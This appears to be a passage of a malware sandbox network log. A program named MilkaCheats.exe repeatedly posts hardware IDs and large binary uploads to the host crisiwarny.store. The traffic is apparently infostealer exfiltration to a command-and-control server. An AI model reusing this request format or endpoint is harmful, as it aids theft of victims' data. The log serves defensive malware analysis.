2024-10-27 15:45:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E2C1F1AA6496117263E46DCD85009A54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"yau6Na--55743
2024-10-27 15:45:02 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-27 15:45:03 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=prl49i7846bu8g5ql22ahpsot9; expires=Thu, 20 Feb 2025 09:31:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CsZiINoUXwc6wjOVCB%2B3nnI0qmoa4cgjZSCkBy59%2FikOKpBkK4L0Y%2F0BrwsIET2J6frSe%2BYcwnASZwtait5yzsC9h%2B987FumQpMD30kDJKNM00EPT7sFjfy8iS2U86wjxKXA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cf97286ee96a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2375&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19130&delivery_rate=1289977&cwnd=250&unsent_bytes=0&cid=41561136401a2d35&ts=697&x=0"
2024-10-27 15:45:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 15:45:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:03 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
2024-10-27 15:45:03 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E2C1F1AA6496117263E46DCD85009A54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"yau6Na--55743
2024-10-27 15:45:05 UTC	1008	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6l77sqnnnj78oqbp6gj1ljnm9; expires=Thu, 20 Feb 2025 09:31:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B1sfBoA%2FIwYWiKwseGbEoaHRPaFN1VDkOgiX1NC642jdPYtbGiTZxwe4ESkoaPN1vVriSJZ6fbrzNUQr157MS8YwiRxOi9etNv5XU3Qdm9EXaY2gIFSJTw0vz3kGJ7vDw94F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cf9fdd1c6c52-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9728&delivery_rate=2627949&cwnd=251&unsent_bytes=0&cid=9e7de4b13eb59359&ts=1635&x=0"
2024-10-27 15:45:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 15:45:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:06 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-27 15:45:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E2C1F1AA6496117263E46DCD85009A54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"yau6Na--55743
2024-10-27 15:45:06 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-27 15:45:07 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ectbll4ot2ru7gni9r84og0f01; expires=Thu, 20 Feb 2025 09:31:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BH%2BdvKLzMwvAkvvC3OpPls8bbAF%2FzI5BBvwFRop4XRwl2y4GR2XWbc7fbHKsISXeF9hbkThiQM8OoeTDsXr3oyg7VtQbFDo%2F4OZxZJni%2FNuL3fWZBsNdmokOkrNLr2O4A0XM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cfafaa32e873-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1282&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21404&delivery_rate=2192278&cwnd=251&unsent_bytes=0&cid=92d612d9f43344e2&ts=1036&x=0"
2024-10-27 15:45:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 15:45:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:09 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1288 Host: crisiwarny.store
2024-10-27 15:45:09 UTC	1288	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E2C1F1AA6496117263E46DCD85009A54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"yau6Na--55743
2024-10-27 15:45:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=if7clolk2ttlqr2u9tgkbh9oq6; expires=Thu, 20 Feb 2025 09:31:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qnFcuEjMxUCr3Jw8VxWY%2F6aqddWohuNpDSx8%2BeIjtmr2bBk6%2BWbPCz6%2FGLJpdAF%2FaFFYYr4qDKKXUUPv9X7VyK0qY9MvoJrokcN3GFDgeUc4ROYUXB1Pv4Lh%2FtQrt8ixcdKr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cfc02d51e528-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1207&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2205&delivery_rate=2333601&cwnd=251&unsent_bytes=0&cid=e0659a23e88d9f94&ts=555&x=0"
2024-10-27 15:45:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 15:45:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584404 Host: crisiwarny.store
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E2C1F1AA6496117263E46DCD85009A54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"yau6Na--55743
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: 5b 36 f6 3d 6b 58 2c 3c 16 18 a1 c2 87 b8 49 14 9e 04 cd 16 ca 52 a3 cf 29 52 ce 97 b1 7f 62 ec 50 7e f3 3f be 6a 51 8c 0b 1b d2 2f 26 1d bf b6 6a d6 bb ab 73 d8 16 19 15 55 c9 db 26 b3 dc 9c 26 ba f5 8a 9a 54 e2 a0 bd 4f e8 62 96 2a 36 a2 22 fe 38 13 78 1f 84 ca 2e d5 cc 94 5e e3 c7 0d 0c 6e e5 15 12 1f c3 5e ea 84 81 12 a5 4a 04 fd 79 7a a3 a1 36 66 e8 c8 d9 49 ed f0 bf 3e ee 13 b5 c1 dc 6e e9 27 38 f3 3f 2f 3c 38 b5 66 3e 23 d3 55 f5 20 5b 1d cd 9e 56 37 65 bf 7f 9f 0a d1 77 98 0a d9 d0 57 cd 3b d8 54 3d 51 0d 4a 92 f6 84 14 de 9d 69 e9 e2 3c 93 5f 81 1b e4 ef 81 b6 a0 ea e8 de 84 d3 9c 1d b3 85 26 61 ee 87 52 f6 e2 a6 19 43 2e 6e 3e ca 5d ab bc 21 bc 0d e7 f3 d7 d7 6b 0e 52 cf b3 d3 e7 7d 62 84 01 d0 8b a0 5a a3 52 68 96 45 62 f4 9f e2 dd ab 27 fd 96 Data Ascii: [6=kX,<IR)RbP~?jQ/&jsU&&TOb*6"8x.^n^Jyz6fI>n'8?/<8f>#U [V7ewW;T=QJi<_&aRC.n>]!kR}bZRhEb'
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: d4 8a 8d 33 62 59 df 43 5c 93 00 df c6 f2 15 4f 88 cc 01 0a 93 00 b9 99 c0 1e 28 cf d9 e1 27 0f 54 31 8d 5b b1 44 c2 46 2a 08 b7 81 fc ff ed 3d 24 e1 c7 30 76 41 bd a6 25 b9 37 5e 51 6c 14 d8 93 9a 5e 36 42 c1 f3 a3 71 1c a0 f8 a9 18 ec cf 9b 29 ed be f1 e4 30 41 25 20 bd 8b 29 37 9b ad 63 e9 5c 67 6d 84 12 f5 b2 78 1e cd c1 20 d8 4d 59 1b ca 7b a1 10 4d 1f da 02 8b 1e 87 cc 2e 36 48 0a ea ba 9d 7f af 74 c1 6f 5f a4 90 da eb 54 1a e1 3b 2d 33 03 4e e0 f3 85 a0 93 17 55 7f df 61 2b 09 22 99 84 41 74 93 dd e5 3c ce 15 31 6c 66 2b cc 2f f6 7a 3d 09 e0 9b b4 be b3 d9 fd 55 40 b9 a6 12 ab b9 e6 d5 f5 34 d4 ce 65 63 e0 31 ac cc e9 36 83 6e 9d 46 cc ef e5 71 1a 6d 85 a8 fb 30 27 25 cf 93 3a 18 91 5e bc 31 84 e7 11 df 78 44 5d 21 de 87 0e 95 e2 ec f3 0c e0 f8 bd Data Ascii: 3bYC\O('T1[DF*=$0vA%7^Ql^6Bq)0A% )7c\gmx MY{M.6Hto_T;-3NUa+"At<1lf+/z=U@4ec16nFqm0'%:^1xD]!
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: 92 6c 98 c2 f3 3d 30 40 90 52 a1 26 50 2c d4 2c 1a db 50 77 05 65 a0 8a 5c 5e 1f d2 87 0c 5f 77 97 4e 1c 30 8c 0a df 0b 8e 1b 20 ce 18 17 f1 45 07 dd c3 30 56 47 9a ef 6f 98 24 1a 83 95 94 8b ac 3f 7a 06 fd c7 52 87 66 9e 87 af 40 39 c8 e0 8b 0e c4 ae c4 ed ea 23 77 5f 35 df b2 36 7e c4 b0 e9 08 f2 00 82 90 73 cf 39 bb 02 c5 df 9d 55 4b 83 b5 2a 05 9c d3 03 42 64 5f ce 51 f6 18 0a 84 67 b7 d4 4a 64 5c fe 2f 7e 7f dc b9 e1 23 7d e1 cb 27 ef 0b 16 9d 03 5b 6c e6 05 cf d7 dc 1d 08 a0 04 78 6d 55 ee c1 56 77 5f b0 3f 1f 55 2d aa 5d 2a 00 0e 25 10 d9 90 eb bc b4 89 db 42 a9 fc 36 91 52 59 90 c7 22 fa d5 dd 89 8a 17 4e a9 f0 bd bd 09 3c e7 cb 4c 88 a6 80 b4 65 18 d9 cf 0d 6f a6 d0 37 22 ef 70 4e 42 bc 09 f0 c8 a5 0c 80 fc 4e 10 bf 9b f9 72 79 f4 3c 41 f4 39 c3 Data Ascii: l=0@R&P,,Pwe\^_wN0 E0VGo$?zRf@9#w_56~s9UKBd_QgJd\/~#}'[lxmUVw_?U-]%B6RY"N<Leo7"pNBNry<A9
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: b0 18 28 a9 f1 10 e4 1c c8 15 ae d7 01 5e 6a f5 b3 9c 0b 5b 29 07 11 3a 54 9b 7a 15 30 fa 5b 3d 98 5e 20 b5 be e2 ca 93 f6 d6 ba 0e f3 13 4e 5d f5 87 d1 50 9c 93 c8 6b 6f 9e 50 78 ad 69 8d 47 a9 29 45 45 b2 07 84 eb f9 72 45 70 8a 7e 4a 07 b9 b9 d1 21 8e d0 2b d9 75 d2 ca e7 a5 35 1a 56 2c a9 39 d7 54 e4 b7 9b c4 18 34 d4 55 75 2b a1 be 33 f2 9e 98 c5 5e 11 97 09 3e 54 6b 25 09 4e dc 68 bc b4 e3 2d 30 e7 b8 37 9a ed 08 7d ed 87 cf f7 d7 cf 6c 8e fc e8 d3 93 62 cb 6b 34 d2 66 5a f6 6b 8f 46 c4 c6 a4 31 78 42 a1 78 79 d7 2f f7 2b 57 cb 54 00 cd 55 65 70 7a 09 32 ab 0e b7 cb 51 51 c5 cf 87 b6 af ac f9 8d b6 6d 58 56 b4 ac bd de 74 8b 8b ac 5b 57 3b c8 93 a8 a2 32 d0 b8 11 ef 71 48 24 cd 90 8b da 06 ec 4d f3 34 43 7f 8e 8e 72 db 80 16 04 ff 7d 4f c5 61 92 69 Data Ascii: (^j[):Tz0[=^ N]PkoPxiG)EErEp~J!+u5V,9T4Uu+3^>Tk%Nh-07}lbk4fZkF1xBxy/+WTUepz2QQmXVt[W;2qH$M4Cr}Oai
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: c1 ea e2 f1 f8 27 a8 d0 0e a3 e3 31 67 0f 9e a3 2f 16 78 73 b3 c7 e2 e7 89 f5 d1 2e 9f aa 43 95 7e 2b be e8 df 6e bb 8f eb 06 b0 bc 52 b1 36 f0 64 db 2a 3c 88 38 cc b4 e8 56 79 9d 96 23 b1 29 26 3d 1d 52 b2 85 dd da 9b 32 62 b1 37 f3 06 be ac c1 44 66 02 9a 1f be c7 08 5c 74 95 0f d5 77 6e ad 31 f6 c4 88 9c a9 42 e0 bc 54 72 cc a2 78 6b c8 e3 d4 b1 d9 e4 6a 87 03 5e 13 7d 6a 85 e9 05 a2 33 64 a4 f9 24 df f7 22 5f c1 be 18 2f 75 9d ec 5d ca ea 18 55 c0 0b 89 8a 32 d7 e6 53 0b b1 fd fe 99 2e 36 93 02 87 75 9a bd 7d b7 f6 09 25 27 ec cd d3 e1 f2 e9 25 42 46 9e a0 f8 d0 c8 0e 90 b9 70 8e d9 c0 38 74 d9 23 d6 14 cb 9a fa 58 f0 a9 b2 0b 72 4b 09 13 40 8e b0 23 7e c5 3f 21 d2 08 d8 c5 5c 9e a9 81 69 a0 46 25 6c 72 7a 26 a7 19 07 f6 ab b5 db c3 8f c1 8c 62 f5 7f Data Ascii: '1g/xs.C~+nR6d*<8Vy#)&=R2b7Df\twn1BTrxkj^}j3d$"_/u]U2S.6u}%'%BFp8t#XrK@#~?!\iF%lrz&b
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: ab 43 ea d5 bd f4 15 ad 77 08 2b ab 97 f5 9a ad 4c 39 9a e4 ce 3d 2a c6 7b 85 0f 1f 4e 1b 43 34 05 db ec 33 97 3e 5d fe 37 db 21 7f 47 e9 4a 8b e1 b3 fe bb 55 c6 a5 73 5d fd 7f 5f b9 5b fa ad f6 9f 57 77 ca f6 95 2e 4d ea ee 26 70 7b 5b ff ae e2 fe 19 de 43 d8 58 4a 6b c5 2e be 52 06 3d 69 02 83 14 18 16 11 30 a9 da bc 2e 0a d2 18 60 b1 6e fc f7 21 90 8d 82 99 da 99 5a 38 0b 40 c8 86 50 08 84 38 58 17 87 72 5e 0f a8 fd 3a 8d e4 85 52 70 72 cb ec 83 3d 06 08 5e b8 28 7e 78 3f 21 6b f3 62 7f fa 47 8d ef 3b 45 4c d1 e1 30 fc ac e9 f2 72 77 77 e5 9f 85 ab a2 a9 61 6c c3 1c b3 0f 31 2c 6f ef 0d f7 17 8f 20 52 86 17 fd 10 98 b5 f6 16 06 22 82 d8 16 c9 ed e6 88 bc e5 f5 92 47 cd b7 2f 8b 6a e2 79 29 b6 ff e8 d2 c3 0b 9e f8 b6 7f e0 55 79 a8 4b 0e 96 87 ee 94 82 Data Ascii: Cw+L9=*{NC43>]7!GJUs]_[Ww.M&p{[CXJk.R=i0.`n!Z8@P8Xr^:Rpr=^(~x?!kbG;EL0rwwal1,o R"G/jy)UyK
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: c9 e1 fd 46 b7 01 d3 91 41 20 ad a8 78 e3 ef 84 a6 6e 31 e2 a5 9d f7 40 f4 0c 2b 75 78 f0 1d b7 0d a5 35 1f 94 ec 2b 51 39 89 7c b4 b0 16 92 71 b4 ca 9f 9d 0c e2 86 18 61 46 ac 82 f8 cd 49 7e 30 c2 b7 4a ba 33 71 74 a3 2f 23 e7 3f d7 f2 bb 8c e0 62 d6 cd bb 06 73 11 f3 4a 77 b8 39 82 83 05 5f 76 a7 fd 30 b9 6f b7 e1 bd 58 da 96 a6 94 d2 1a 5a 53 e1 72 e9 d2 e6 26 9b c5 b9 1f 6f c6 d1 67 1c 9d 5b b6 08 9c 90 82 7b 2d 24 ba 01 35 46 e2 7f c1 63 36 b8 9c f9 98 c0 b2 1c 39 12 c9 99 2d 9f 70 75 19 9c 29 5f ee 5e e1 20 15 15 43 ca d8 2c 94 16 96 36 99 f2 d4 bf 64 41 09 b7 a6 29 10 83 b1 e4 23 f1 59 96 36 11 24 09 59 bf 08 e7 06 90 7a 15 5b 3b 2c 2a dc 7f 2f 28 b4 56 52 8e 10 12 8b be 31 e2 08 32 9a 1b 9c 73 c0 66 68 04 da 75 ad 16 e6 7d c9 b8 84 c5 c7 bf 7f 2c Data Ascii: FA xn1@+ux5+Q9\|qaFI~0J3qt/#?bsJw9_v0oXZSr&og[{-$5Fc69-pu)_^ C,6dA)#Y6$Yz[;,*/(VR12sfhu},
